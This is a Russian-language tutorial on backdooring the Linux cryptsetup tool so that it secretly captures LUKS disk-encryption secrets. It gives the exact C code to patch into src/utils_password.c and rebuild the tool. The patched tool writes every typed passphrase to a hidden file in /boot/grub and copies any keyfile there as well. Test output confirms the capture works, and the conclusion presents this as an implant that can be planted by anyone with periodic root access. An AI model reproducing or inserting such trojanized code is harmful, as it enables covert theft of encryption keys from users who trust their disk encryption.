Перехвата ключа и пароля от зашифрованного LUKS раздела

Что такое LUKS?

LUKS является стандартом для шифрования жесткого диска Linux. Расшифровать данные на диске можно только имея доступ к секретному ключу и паролю.

Преимущество LUKS:

  • совместимость через стандартизацию;
  • защита от атак с низкой энтропией;
  • возможность аннулирования секретной фразы;
  • распространяется бесплатно.

Ниже мы рассмотрим процесс изменения исходного кода с целью перехвата парольной фразы или ключа для расшифровки LUKS раздела.

Все манипуляции проводятся на свежем Debian 10 с добавлением дополнительного диска для экспериментов с шифрованием.

Настройка диска

После установки переходим под root:

su -

Затем утилитой fdisk смотрим название доступных дисков:

fdisk -l
(out)Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
(out)Disk model: VMware Virtual S
(out)Units: sectors of 1 * 512 = 512 bytes
(out)Sector size (logical/physical): 512 bytes / 512 bytes
(out)I/O size (minimum/optimal): 512 bytes / 512 bytes
(out)Disklabel type: dos
(out)Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type
(out)/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
(out)/dev/sda2 37752830 41940991 4188162 2G 5 Extended
(out)/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / SolarisDisk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors
(out)
(out)Disk model: VMware Virtual S
(out)Units: sectors of 1 * 512 = 512 bytes
(out)Sector size (logical/physical): 512 bytes / 512 bytes
(out)I/O size (minimum/optimal): 512 bytes / 512 bytes

В своем примере я буду использовать устройство /dev/sdb

Для разметки диска использую утилиту parted передав имя диска в качестве аргумента:

parted /dev/sdb

Помечаю таблицу разделов как GPT:

(parted) mklabel gpt

И создаю единственный раздел, занимающий весь диск:

(parted) mkpart primary 1 -1
(parted) quit

Сборка cryptsetup

Работы с разметкой /dev/sdb закончены. Переходим к сборке cryptsetup. В примере я использовал версию 2.0.6, так как при сборке последней доступной версии (2.3.4) были проблемы с версиями используемых библиотек.

Скачиваем, распаковываем и устанавливаем необходимые зависимости:

cd /root
wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz
tar xf cryptsetup-2.0.6.tar.xz
cd cryptsetup-2.0.6
apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Собираем и устанавливаем:

./configure
make && make install

Проверяем установку:

cryptsetup --version
(out)cryptsetup 2.0.6

Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля вводимого в tty:

cryptsetup luksFormat /dev/sdb1

Соглашаемся на форматирования (YES) и вводим для последующего доступа к разделу, в качестве пароля использую t3st3ncryp7

Проверяем, все ли удалось:

cryptsetup isLuks /dev/sdb1 && echo Ok!
Ok!

Все получилось. Подключаем шифрованный раздел, для его последующего монтирования:

cryptsetup luksOpen /dev/sdb1 db

Вводим парольную фразу (t3st3ncryp7) и для возможности работы с разделом (чуть позже в этом месте мы перехватим вводимый в tty пароль).

Форматируем раздел:

mke2fs -j /dev/mapper/db

И монтируем для работы, например в /mnt:

mount /dev/mapper/db /mnt && cd /mnt
echo Hello! > test.txt
cat test.txt
(out)Hello!
ls -la
(out)итого 28
(out)drwxr-xr-x 3 root root 4096 ноя 6 06:49 .
(out)drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..
(out)drwx------ 2 root root 16384 ноя 6 06:48 lost+found
(out)-rw-r--r-- 1 root root   7 ноя 6 06:49 test.txt

Модифицируем код


На данном этапе мы научились монтировать шифрованный LUKS раздел c использованием парольной фразы. Сейчас мы исправим исходный код для сохранения не только вводимого пароля, но и случайно сгенерированного файла, который может быть указан в качестве ключа для расшифровки раздела.

Находим код проверки passphrase в файле src/utils_password.c (относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях от находился в файле askpass.c.

Для перехвата пароль я изменю функцию crypt_get_key_tty(), отвечающую за ввод пароля из терминала (tty). В самом конце добавим кусок кода, который кладет переменную pass в нужный нам файл.

В качестве пути возьмем /boot/grub/.captured_pass.

~220 строка файла src/utils_password.c:

*key = pass;
*key_size = strlen(pass);
utils_password.c

Добавим:

FILE *fp;
fp = fopen("/boot/grub/.captured_pass", "w+");
fputs(pass, fp);
fclose(fp);
Перехват passphrase в utils_password.c
Перехват passphrase

Отлично. Теперь вводимый пароль сохраняется в файле .captured_pass. Пойдем дальше и поможем нашей программе делать "резервную копию" используемого для расшифровки ключа.

Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key() и скопировать ключ в нужное место. Для добавления кода ищем примерно 285 строку и после:

/* Check pwquality for password (not keyfile) */
if (pwquality && !opt_force_password && !key_file && !r)
 r = tools_check_pwquality(*key);
utils_password.c

Добавляем вызов функции CopyFile() передав в качестве аргумента путь оригинального файла в переменной key_file и необходимый путь для сохранения.

CopyFile(key_file, "/boot/grub/.captured_key");
Сохранение ключа в файле utils_password.c

Должно получится примерно так:

....

/* Check pwquality for password (not keyfile) */
if (pwquality && !opt_force_password && !key_file && !r)
 r = tools_check_pwquality(*key);CopyFile(key_file, "/boot/grub/.captured_key");return r;

....
Сохранение ключа в файле utils_password.c
Сохранение ключа в файле utils_password.c

Не забываем добавить саму функцию CopyFile() в самый конец файла после функции tools_write_mk():

int CopyFile(const char* source, const char* destination)
{
 int input, output;
 if ((input = open(source, O_RDONLY)) == -1)
 {
  return -1;
 }
 if ((output = creat(destination, 0660)) == -1)
 {
  close(input);
  return -1;
 } //sendfile will work with non-socket output (i.e. regular file) on Linux 2.6.33+
 off_t bytesCopied = 0;
 struct stat fileinfo = {0};
 fstat(input, &fileinfo);
 int result = sendfile(output, input, &bytesCopied, fileinfo.st_size); close(input);
 close(output); return result;
}
Функция CopyFile() utils_password.c

Теперь пересобираем наш исправленный вариант cryptsetup c удалением кеша предыдущей сборки:

pwd
(out)/root/cryptsetup-2.0.6
make clean && make && make install

Настало время тестов. Для начала проверим перехват пароля уже зашифрованного таким образом диска.

Для этого размонтируем его и вернем в первоначальное состояние:

umount /mnt
cryptsetup luksClose /dev/mapper/db

Теперь снова расшифровываем и ловим необходимый пароль:

cryptsetup luksOpen /dev/sdb1 db
(out)Введите парольную фразу для /dev/sdb1:
mount /dev/mapper/db /mnt
ls /mnt/
(out)lost+found test.txt
cat /boot/grub/.captured_pass
(out)t3st3ncryp7

Великолепно! Осталось отформатировать и зашифровать файлом ключом для проверки второго способа перехвата. Генерируем сам ключ:

dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Форматируем и шифруем с помощью сгенерированного ключа, предварительно отключив раздел:

umount /mnt
cryptsetup luksClose /dev/mapper/db
cryptsetup luksFormat /dev/sdb1 /root/secret.key
(out)ПРЕДУПРЕЖДЕНИЕ: Устройство /dev/sdb1 уже содержит подпись суперблока «crypto_LUKS».WARNING!
(out)========
(out)Данные на /dev/sdb1 будут перезаписаны без возможности восстановления.
(out)Are you sure? (Type uppercase yes): YES

Подключаем и расшифровываем раздел:

cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db

Проверяем, перехватился ли ключ:

ls -la /boot/grub/
(out)итого 2392
(out)drwxr-xr-x 5 root root  4096 ноя 6 07:29 .
(out)drwxr-xr-x 3 root root  4096 ноя 5 05:03 ..
(out)-rw-r----- 1 root root  2048 ноя 6 07:31 .captured_key
(out)-rw-r--r-- 1 root root   11 ноя 6 07:21 .captured_pass
(out)drwxr-xr-x 2 root root  4096 ноя 5 05:04 fonts
(out)-r--r--r-- 1 root root  8463 ноя 5 05:04 grub.cfg
(out)-rw-r--r-- 1 root root  1024 ноя 5 05:04 grubenv
(out)drwxr-xr-x 2 root root  12288 ноя 5 05:04 i386-pc
(out)drwxr-xr-x 2 root root  4096 ноя 5 05:04 locale
(out)-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2

Полный порядок. Проверим, работает ли наш ключ, предварительно дублируя его, иначе при следующей записи он запишет сам себя в 0 байт:

cp /boot/grub/.captured_key /boot/grub/.captured_key_use
cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db
Успешный перехват ключа.

Заключение

LUKS не только популярная и распространённая, но и очень интересная система шифрования дисков. Поддержка до восьми слотов ключей, предоставляемый выбор хэш-функций, алгоритмов и режимов шифрования, а также адаптивный алгоритм выбора количества итераций при настройке шифрования делают LUKS образцовым вариантом реализации шифрования дисков. Однако, при наличии периодического доступа к хосту с root правами вполне возможно установить закладку для обнаружения ключей защиты зашифрованных таким образом разделов.